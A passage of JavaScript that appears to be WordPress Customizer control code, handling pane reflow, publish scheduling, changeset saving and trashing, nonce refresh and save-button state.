		var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;

		if ( document.activeElement ) {
			activeElement = $( document.activeElement );
		}

		// Sort the sections within each panel.
		api.panel.each( function ( panel ) {
			if ( 'themes' === panel.id ) {
				return; // Don't reflow theme sections, as doing so moves them after the themes container.
			}

			var sections = panel.sections(),
				sectionHeadContainers = _.pluck( sections, 'headContainer' );
			rootNodes.push( panel );
			appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
				_( sections ).each( function ( section ) {
					appendContainer.append( section.headContainer );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the controls within each section.
		api.section.each( function ( section ) {
			var controls = section.controls(),
				controlContainers = _.pluck( controls, 'container' );
			if ( ! section.panel() ) {
				rootNodes.push( section );
			}
			appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
				_( controls ).each( function ( control ) {
					appendContainer.append( control.container );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the root panels and sections.
		rootNodes.sort( api.utils.prioritySort );
		rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
		appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
		if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
			_( rootNodes ).each( function ( rootNode ) {
				appendContainer.append( rootNode.headContainer );
			} );
			wasReflowed = true;
		}

		// Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered.
		api.panel.each( function ( panel ) {
			var value = panel.active();
			panel.active.callbacks.fireWith( panel.active, [ value, value ] );
		} );
		api.section.each( function ( section ) {
			var value = section.active();
			section.active.callbacks.fireWith( section.active, [ value, value ] );
		} );

		// Restore focus if there was a reflow and there was an active (focused) element.
		if ( wasReflowed && activeElement ) {
			activeElement.trigger( 'focus' );
		}
		api.trigger( 'pane-contents-reflowed' );
	}, api );

	// Define state values.
	api.state = new api.Values();
	_.each( [
		'saved',
		'saving',
		'trashing',
		'activated',
		'processing',
		'paneVisible',
		'expandedPanel',
		'expandedSection',
		'changesetDate',
		'selectedChangesetDate',
		'changesetStatus',
		'selectedChangesetStatus',
		'remainingTimeToPublish',
		'previewerAlive',
		'editShortcutVisibility',
		'changesetLocked',
		'previewedDevice'
	], function( name ) {
		api.state.create( name );
	});

	$( function() {
		api.settings = window._wpCustomizeSettings;
		api.l10n = window._wpCustomizeControlsL10n;

		// Check if we can run the Customizer.
		if ( ! api.settings ) {
			return;
		}

		// Bail if any incompatibilities are found.
		if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
			return;
		}

		if ( null === api.PreviewFrame.prototype.sensitivity ) {
			api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
		}
		if ( null === api.Previewer.prototype.refreshBuffer ) {
			api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
		}

		var parent,
			body = $( document.body ),
			overlay = body.children( '.wp-full-overlay' ),
			title = $( '#customize-info .panel-title.site-title' ),
			closeBtn = $( '.customize-controls-close' ),
			saveBtn = $( '#save' ),
			btnWrapper = $( '#customize-save-button-wrapper' ),
			publishSettingsBtn = $( '#publish-settings' ),
			footerActions = $( '#customize-footer-actions' );

		// Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
		api.bind( 'ready', function() {
			api.section.add( new api.OuterSection( 'publish_settings', {
				title: api.l10n.publishSettings,
				priority: 0,
				active: api.settings.theme.active
			} ) );
		} );

		// Set up publish settings section and its controls.
		api.section( 'publish_settings', function( section ) {
			var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;

			trashControl = new api.Control( 'trash_changeset', {
				type: 'button',
				section: section.id,
				priority: 30,
				input_attrs: {
					'class': 'button-link button-link-delete',
					value: api.l10n.discardChanges
				}
			} );
			api.control.add( trashControl );
			trashControl.deferred.embedded.done( function() {
				trashControl.container.find( '.button-link' ).on( 'click', function() {
					if ( confirm( api.l10n.trashConfirm ) ) {
						wp.customize.previewer.trash();
					}
				} );
			} );

			api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
				section: section.id,
				priority: 100
			} ) );

			/**
			 * Return whether the pubish settings section should be active.
			 *
			 * @return {boolean} Is section active.
			 */
			isSectionActive = function() {
				if ( ! api.state( 'activated' ).get() ) {
					return false;
				}
				if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
					return false;
				}
				if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
					return false;
				}
				return true;
			};

			// Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
			section.active.validate = isSectionActive;
			updateSectionActive = function() {
				section.active.set( isSectionActive() );
			};
			api.state( 'activated' ).bind( updateSectionActive );
			api.state( 'trashing' ).bind( updateSectionActive );
			api.state( 'saved' ).bind( updateSectionActive );
			api.state( 'changesetStatus' ).bind( updateSectionActive );
			updateSectionActive();

			// Bind visibility of the publish settings button to whether the section is active.
			updateButtonsState = function() {
				publishSettingsBtn.toggle( section.active.get() );
				saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
			};
			updateButtonsState();
			section.active.bind( updateButtonsState );

			function highlightScheduleButton() {
				if ( ! cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
						delay: 1000,

						/*
						 * Only abort the reminder when the save button is focused.
						 * If the user clicks the settings button to toggle the
						 * settings closed, we'll still remind them.
						 */
						focusTarget: saveBtn
					} );
				}
			}
			function cancelHighlightScheduleButton() {
				if ( cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder();
					cancelScheduleButtonReminder = null;
				}
			}
			api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );

			section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
			section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
			publishSettingsBtn.prop( 'disabled', false );

			publishSettingsBtn.on( 'click', function( event ) {
				event.preventDefault();
				section.expanded.set( ! section.expanded.get() );
			} );

			section.expanded.bind( function( isExpanded ) {
				var defaultChangesetStatus;
				publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
				publishSettingsBtn.toggleClass( 'active', isExpanded );

				if ( isExpanded ) {
					cancelHighlightScheduleButton();
					return;
				}

				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}

				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					highlightScheduleButton();
				} else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					highlightScheduleButton();
				}
			} );

			statusControl = new api.Control( 'changeset_status', {
				priority: 10,
				type: 'radio',
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetStatus' ),
				templateId: 'customize-selected-changeset-status-control',
				label: api.l10n.action,
				choices: api.settings.changeset.statusChoices
			} );
			api.control.add( statusControl );

			dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
				priority: 20,
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetDate' ),
				minYear: ( new Date() ).getFullYear(),
				allowPastDate: false,
				includeTime: true,
				twelveHourFormat: /a/i.test( api.settings.timeFormat ),
				description: api.l10n.scheduleDescription
			} );
			dateControl.notifications.alt = true;
			api.control.add( dateControl );

			publishWhenTime = function() {
				api.state( 'selectedChangesetStatus' ).set( 'publish' );
				api.previewer.save();
			};

			// Start countdown for when the dateTime arrives, or clear interval when it is .
			updateTimeArrivedPoller = function() {
				var shouldPoll = (
					'future' === api.state( 'changesetStatus' ).get() &&
					'future' === api.state( 'selectedChangesetStatus' ).get() &&
					api.state( 'changesetDate' ).get() &&
					api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
					api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
				);

				if ( shouldPoll && ! pollInterval ) {
					pollInterval = setInterval( function() {
						var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
						api.state( 'remainingTimeToPublish' ).set( remainingTime );
						if ( remainingTime <= 0 ) {
							clearInterval( pollInterval );
							pollInterval = 0;
							publishWhenTime();
						}
					}, timeArrivedPollingInterval );
				} else if ( ! shouldPoll && pollInterval ) {
					clearInterval( pollInterval );
					pollInterval = 0;
				}
			};

			api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
			updateTimeArrivedPoller();

			// Ensure dateControl only appears when selected status is future.
			dateControl.active.validate = function() {
				return 'future' === api.state( 'selectedChangesetStatus' ).get();
			};
			toggleDateControl = function( value ) {
				dateControl.active.set( 'future' === value );
			};
			toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
			api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );

			// Show notification on date control when status is future but it isn't a future date.
			api.state( 'saving' ).bind( function( isSaving ) {
				if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
					dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
				}
			} );
		} );

		// Prevent the form from saving when enter is pressed on an input or select element.
		$('#customize-controls').on( 'keydown', function( e ) {
			var isEnter = ( 13 === e.which ),
				$el = $( e.target );

			if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
				e.preventDefault();
			}
		});

		// Expand/Collapse the main customizer customize info.
		$( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
			var section = $( this ).closest( '.accordion-section' ),
				content = section.find( '.customize-panel-description:first' );

			if ( section.hasClass( 'cannot-expand' ) ) {
				return;
			}

			if ( section.hasClass( 'open' ) ) {
				section.toggleClass( 'open' );
				content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', false );
			} else {
				content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				section.toggleClass( 'open' );
				$( this ).attr( 'aria-expanded', true );
			}
		});

		/**
		 * Initialize Previewer
		 *
		 * @alias wp.customize.previewer
		 */
		api.previewer = new api.Previewer({
			container:   '#customize-preview',
			form:        '#customize-controls',
			previewUrl:  api.settings.url.preview,
			allowedUrls: api.settings.url.allowed
		},/** @lends wp.customize.previewer */{

			nonce: api.settings.nonce,

			/**
			 * Build the query to send along with the Preview request.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added options param.
			 * @access public
			 *
			 * @param {Object}  [options] Options.
			 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
			 * @return {Object} Query vars.
			 */
			query: function( options ) {
				var queryVars = {
					wp_customize: 'on',
					customize_theme: api.settings.theme.stylesheet,
					nonce: this.nonce.preview,
					customize_changeset_uuid: api.settings.changeset.uuid
				};
				if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
					queryVars.customize_autosaved = 'on';
				}

				/*
				 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
				 * Changeset updates are differential and so it is a performance waste to send all of
				 * the dirty settings with each update.
				 */
				queryVars.customized = JSON.stringify( api.dirtyValues( {
					unsaved: options && options.excludeCustomizedSaved
				} ) );

				return queryVars;
			},

			/**
			 * Save (and publish) the customizer changeset.
			 *
			 * Updates to the changeset are transactional. If any of the settings
			 * are invalid then none of them will be written into the changeset.
			 * A revision will be made for the changeset post if revisions support
			 * has been added to the post type.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added args param and return value.
			 *
			 * @param {Object} [args] Args.
			 * @param {string} [args.status=publish] Status.
			 * @param {string} [args.date] Date, in local time in MySQL format.
			 * @param {string} [args.title] Title
			 * @return {jQuery.promise} Promise.
			 */
			save: function( args ) {
				var previewer = this,
					deferred = $.Deferred(),
					changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
					selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
					processing = api.state( 'processing' ),
					submitWhenDoneProcessing,
					submit,
					modifiedWhileSaving = {},
					invalidSettings = [],
					invalidControls = [],
					invalidSettingLessControls = [];

				if ( args && args.status ) {
					changesetStatus = args.status;
				}

				if ( api.state( 'saving' ).get() ) {
					deferred.reject( 'already_saving' );
					deferred.promise();
				}

				api.state( 'saving' ).set( true );

				function captureSettingModifiedDuringSave( setting ) {
					modifiedWhileSaving[ setting.id ] = true;
				}

				submit = function () {
					var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';

					api.bind( 'change', captureSettingModifiedDuringSave );
					api.notifications.remove( errorCode );

					/*
					 * Block saving if there are any settings that are marked as
					 * invalid from the client (not from the server). Focus on
					 * the control.
					 */
					api.each( function( setting ) {
						setting.notifications.each( function( notification ) {
							if ( 'error' === notification.type && ! notification.fromServer ) {
								invalidSettings.push( setting.id );
								if ( ! settingInvalidities[ setting.id ] ) {
									settingInvalidities[ setting.id ] = {};
								}
								settingInvalidities[ setting.id ][ notification.code ] = notification;
							}
						} );
					} );

					// Find all invalid setting less controls with notification type error.
					api.control.each( function( control ) {
						if ( ! control.setting || ! control.setting.id && control.active.get() ) {
							control.notifications.each( function( notification ) {
							    if ( 'error' === notification.type ) {
								    invalidSettingLessControls.push( [ control ] );
							    }
							} );
						}
					} );

					invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
					if ( ! _.isEmpty( invalidControls ) ) {

						invalidControls[0][0].focus();
						api.unbind( 'change', captureSettingModifiedDuringSave );

						if ( invalidSettings.length ) {
							api.notifications.add( new api.Notification( errorCode, {
								message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
								type: 'error',
								dismissible: true,
								saveFailure: true
							} ) );
						}

						deferred.rejectWith( previewer, [
							{ setting_invalidities: settingInvalidities }
						] );
						api.state( 'saving' ).set( false );
						return deferred.promise();
					}

					/*
					 * Note that excludeCustomizedSaved is intentionally false so that the entire
					 * set of customized data will be included if bypassed changeset update.
					 */
					query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
						nonce: previewer.nonce.save,
						customize_changeset_status: changesetStatus
					} );

					if ( args && args.date ) {
						query.customize_changeset_date = args.date;
					} else if ( 'future' === changesetStatus && selectedChangesetDate ) {
						query.customize_changeset_date = selectedChangesetDate;
					}

					if ( args && args.title ) {
						query.customize_changeset_title = args.title;
					}

					// Allow plugins to modify the params included with the save request.
					api.trigger( 'save-request-params', query );

					/*
					 * Note that the dirty customized values will have already been set in the
					 * changeset and so technically query.customized could be deleted. However,
					 * it is remaining here to make sure that any settings that got updated
					 * quietly which may have not triggered an update request will also get
					 * included in the values that get saved to the changeset. This will ensure
					 * that values that get injected via the saved event will be included in
					 * the changeset. This also ensures that setting values that were invalid
					 * will get re-validated, perhaps in the case of settings that are invalid
					 * due to dependencies on other settings.
					 */
					request = wp.ajax.post( 'customize_save', query );
					api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

					api.trigger( 'save', request );

					request.always( function () {
						api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
						api.state( 'saving' ).set( false );
						api.unbind( 'change', captureSettingModifiedDuringSave );
					} );

					// Remove notifications that were added due to save failures.
					api.notifications.each( function( notification ) {
						if ( notification.saveFailure ) {
							api.notifications.remove( notification.code );
						}
					});

					request.fail( function ( response ) {
						var notification, notificationArgs;
						notificationArgs = {
							type: 'error',
							dismissible: true,
							fromServer: true,
							saveFailure: true
						};

						if ( '0' === response ) {
							response = 'not_logged_in';
						} else if ( '-1' === response ) {
							// Back-compat in case any other check_ajax_referer() call is dying.
							response = 'invalid_nonce';
						}

						if ( 'invalid_nonce' === response ) {
							previewer.cheatin();
						} else if ( 'not_logged_in' === response ) {
							previewer.preview.iframe.hide();
							previewer.login().done( function() {
								previewer.save();
								previewer.preview.iframe.show();
							} );
						} else if ( response.code ) {
							if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
								api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
							} else if ( 'changeset_locked' !== response.code ) {
								notification = new api.Notification( response.code, _.extend( notificationArgs, {
									message: response.message
								} ) );
							}
						} else {
							notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
								message: api.l10n.unknownRequestFail
							} ) );
						}

						if ( notification ) {
							api.notifications.add( notification );
						}

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.rejectWith( previewer, [ response ] );
						api.trigger( 'error', response );

						// Start a new changeset if the underlying changeset was published.
						if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
							api.settings.changeset.uuid = response.next_changeset_uuid;
							api.state( 'changesetStatus' ).set( '' );
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
							api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
						}
					} );

					request.done( function( response ) {

						previewer.send( 'saved', response );

						api.state( 'changesetStatus' ).set( response.changeset_status );
						if ( response.changeset_date ) {
							api.state( 'changesetDate' ).set( response.changeset_date );
						}

						if ( 'publish' === response.changeset_status ) {

							// Mark all published as clean if they haven't been modified during the request.
							api.each( function( setting ) {
								/*
								 * Note that the setting revision will be undefined in the case of setting
								 * values that are marked as dirty when the customizer is loaded, such as
								 * when applying starter content. All other dirty settings will have an
								 * associated revision due to their modification triggering a change event.
								 */
								if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
									setting._dirty = false;
								}
							} );

							api.state( 'changesetStatus' ).set( '' );
							api.settings.changeset.uuid = response.next_changeset_uuid;
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
						}

						// Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
						api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.resolveWith( previewer, [ response ] );
						api.trigger( 'saved', response );

						// Restore the global dirty state if any settings were modified during save.
						if ( ! _.isEmpty( modifiedWhileSaving ) ) {
							api.state( 'saved' ).set( false );
						}
					} );
				};

				if ( 0 === processing() ) {
					submit();
				} else {
					submitWhenDoneProcessing = function () {
						if ( 0 === processing() ) {
							api.state.unbind( 'change', submitWhenDoneProcessing );
							submit();
						}
					};
					api.state.bind( 'change', submitWhenDoneProcessing );
				}

				return deferred.promise();
			},

			/**
			 * Trash the current changes.
			 *
			 * Revert the Customizer to its previously-published state.
			 *
			 * @since 4.9.0
			 *
			 * @return {jQuery.promise} Promise.
			 */
			trash: function trash() {
				var request, success, fail;

				api.state( 'trashing' ).set( true );
				api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

				request = wp.ajax.post( 'customize_trash', {
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.trash
				} );
				api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
					type: 'info',
					message: api.l10n.revertingChanges,
					loading: true
				} ) );

				success = function() {
					var urlParser = document.createElement( 'a' ), queryParams;

					api.state( 'changesetStatus' ).set( 'trash' );
					api.each( function( setting ) {
						setting._dirty = false;
					} );
					api.state( 'saved' ).set( true );

					// Go back to Customizer without changeset.
					urlParser.href = location.href;
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.changeset_uuid;
					queryParams['return'] = api.settings.url['return'];
					urlParser.search = $.param( queryParams );
					location.replace( urlParser.href );
				};

				fail = function( code, message ) {
					var notificationCode = code || 'unknown_error';
					api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
					api.state( 'trashing' ).set( false );
					api.notifications.remove( 'changeset_trashing' );
					api.notifications.add( new api.Notification( notificationCode, {
						message: message || api.l10n.unknownError,
						dismissible: true,
						type: 'error'
					} ) );
				};

				request.done( function( response ) {
					success( response.message );
				} );

				request.fail( function( response ) {
					var code = response.code || 'trashing_failed';
					if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
						success( response.message );
					} else {
						fail( code, response.message );
					}
				} );
			},

			/**
			 * Builds the front preview URL with the current state of customizer.
			 *
			 * @since 4.9.0
			 *
			 * @return {string} Preview URL.
			 */
			getFrontendPreviewUrl: function() {
				var previewer = this, params, urlParser;
				urlParser = document.createElement( 'a' );
				urlParser.href = previewer.previewUrl.get();
				params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );

				if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
					params.customize_changeset_uuid = api.settings.changeset.uuid;
				}
				if ( ! api.state( 'activated' ).get() ) {
					params.customize_theme = api.settings.theme.stylesheet;
				}

				urlParser.search = $.param( params );
				return urlParser.href;
			}
		});

		// Ensure preview nonce is included with every customized request, to allow post data to be read.
		$.ajaxPrefilter( function injectPreviewNonce( options ) {
			if ( ! /wp_customize=on/.test( options.data ) ) {
				return;
			}
			options.data += '&' + $.param({
				customize_preview_nonce: api.settings.nonce.preview
			});
		});

		// Refresh the nonces if the preview sends updated nonces over.
		api.previewer.bind( 'nonce', function( nonce ) {
			$.extend( this.nonce, nonce );
		});

		// Refresh the nonces if login sends updated nonces over.
		api.bind( 'nonce-refresh', function( nonce ) {
			$.extend( api.settings.nonce, nonce );
			$.extend( api.previewer.nonce, nonce );
			api.previewer.send( 'nonce-refresh', nonce );
		});

		// Create Settings.
		$.each( api.settings.settings, function( id, data ) {
			var Constructor = api.settingConstructor[ data.type ] || api.Setting;
			api.add( new Constructor( id, data.value, {
				transport: data.transport,
				previewer: api.previewer,
				dirty: !! data.dirty
			} ) );
		});

		// Create Panels.
		$.each( api.settings.panels, function ( id, data ) {
			var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
			// Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.panel.add( new Constructor( id, options ) );
		});

		// Create Sections.
		$.each( api.settings.sections, function ( id, data ) {
			var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
			// Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.section.add( new Constructor( id, options ) );
		});

		// Create Controls.
		$.each( api.settings.controls, function( id, data ) {
			var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
			// Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.control.add( new Constructor( id, options ) );
		});

		// Focus the autofocused element.
		_.each( [ 'panel', 'section', 'control' ], function( type ) {
			var id = api.settings.autofocus[ type ];
			if ( ! id ) {
				return;
			}

			/*
			 * Defer focus until:
			 * 1. The panel, section, or control exists (especially for dynamically-created ones).
			 * 2. The instance is embedded in the document (and so is focusable).
			 * 3. The preview has finished loading so that the active states have been set.
			 */
			api[ type ]( id, function( instance ) {
				instance.deferred.embedded.done( function() {
					api.previewer.deferred.active.done( function() {
						instance.focus();
					});
				});
			});
		});

		api.bind( 'ready', api.reflowPaneContents );
		$( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
			var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
			values.bind( 'add', debouncedReflowPaneContents );
			values.bind( 'change', debouncedReflowPaneContents );
			values.bind( 'remove', debouncedReflowPaneContents );
		} );

		// Set up global notifications area.
		api.bind( 'ready', function setUpGlobalNotificationsArea() {
			var sidebar, containerHeight, containerInitialTop;
			api.notifications.container = $( '#customize-notifications-area' );

			api.notifications.bind( 'change', _.debounce( function() {
				api.notifications.render();
			} ) );

			sidebar = $( '.wp-full-overlay-sidebar-content' );
			api.notifications.bind( 'rendered', function updateSidebarTop() {
				sidebar.css( 'top', '' );
				if ( 0 !== api.notifications.count() ) {
					containerHeight = api.notifications.container.outerHeight() + 1;
					containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
					sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
				}
				api.notifications.trigger( 'sidebarTopUpdated' );
			});

			api.notifications.render();
		});

		// Save and activated states.
		(function( state ) {
			var saved = state.instance( 'saved' ),
				saving = state.instance( 'saving' ),
				trashing = state.instance( 'trashing' ),
				activated = state.instance( 'activated' ),
				processing = state.instance( 'processing' ),
				paneVisible = state.instance( 'paneVisible' ),
				expandedPanel = state.instance( 'expandedPanel' ),
				expandedSection = state.instance( 'expandedSection' ),
				changesetStatus = state.instance( 'changesetStatus' ),
				selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
				changesetDate = state.instance( 'changesetDate' ),
				selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
				previewerAlive = state.instance( 'previewerAlive' ),
				editShortcutVisibility  = state.instance( 'editShortcutVisibility' ),
				changesetLocked = state.instance( 'changesetLocked' ),
				populateChangesetUuidParam, defaultSelectedChangesetStatus;

			state.bind( 'change', function() {
				var canSave;

				if ( ! activated() ) {
					saveBtn.val( api.l10n.activate );
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );

				} else if ( '' === changesetStatus.get() && saved() ) {
					if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.published );
					} else {
						saveBtn.val( api.l10n.saved );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );

				} else {
					if ( 'draft' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							saveBtn.val( api.l10n.draftSaved );
						} else {
							saveBtn.val( api.l10n.saveDraft );
						}
					} else if ( 'future' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							if ( changesetDate.get() !== selectedChangesetDate.get() ) {
								saveBtn.val( api.l10n.schedule );
							} else {
								saveBtn.val( api.l10n.scheduled );
							}
						} else {
							saveBtn.val( api.l10n.schedule );
						}
					} else if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.publish );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
				}

				/*
				 * Save (publish) button should be enabled if saving is not currently happening,
				 * and if the theme is not active or the changeset exists but is not published.
				 */
				canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );

				saveBtn.prop( 'disabled', ! canSave );
			});

			selectedChangesetStatus.validate = function( status ) {
				if ( '' === status || 'auto-draft' === status ) {
					return null;
				}
				return status;
			};

			defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';

			// Set default states.
			changesetStatus( api.settings.changeset.status );
			changesetLocked( Boolean( api.settings.changeset.lockUser ) );
			changesetDate( api.settings.changeset.publishDate );
			selectedChangesetDate( api.settings.changeset.publishDate );
			selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
			selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
			saved( true );
			if ( '' === changesetStatus() ) { // Handle case for loading starter content.
				api.each( function( setting ) {
					if ( setting._dirty ) {
						saved( false );
					}
				} );
			}
			saving( false );
			activated( api.settings.theme.active );
			processing( 0 );
			paneVisible( true );
			expandedPanel( false );
			expandedSection( false );
			previewerAlive( true );
			editShortcutVisibility( 'visible' );

			api.bind( 'change', function() {
				if ( state( 'saved' ).get() ) {
					state( 'saved' ).set( false );
				}
			});

			// Populate changeset UUID param when state becomes dirty.
			if ( api.settings.changeset.branching ) {
				saved.bind( function( isSaved ) {
					if ( ! isSaved ) {
						populateChangesetUuidParam( true );
					}
				});
			}

			saving.bind( function( isSaving ) {
				body.toggleClass( 'saving', isSaving );
			} );
			trashing.bind( function( isTrashing ) {
				body.toggleClass( 'trashing', isTrashing );
			} );

			api.bind( 'saved', function( response ) {
				state('saved').set( true );
				if ( 'publish' === response.changeset_status ) {
					state( 'activated' ).set( true );
				}
			});

			activated.bind( function( to ) {
				if ( to ) {
					api.trigger( 'activated' );
				}
			});

			/**
			 * Populate URL with UUID via `history.replaceState()`.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {boolean} isIncluded Is UUID included.
			 * @return {void}
			 */
			populateChangesetUuidParam = function( isIncluded ) {
				var urlParser, queryParams;

				// Abort on IE9 which doesn't support history management.
				if ( ! history.replaceState ) {
					return;
				}

				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( isIncluded ) {
					if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
						return;
					}
					queryParams.changeset_uuid = api.settings.changeset.uuid;
				} else {
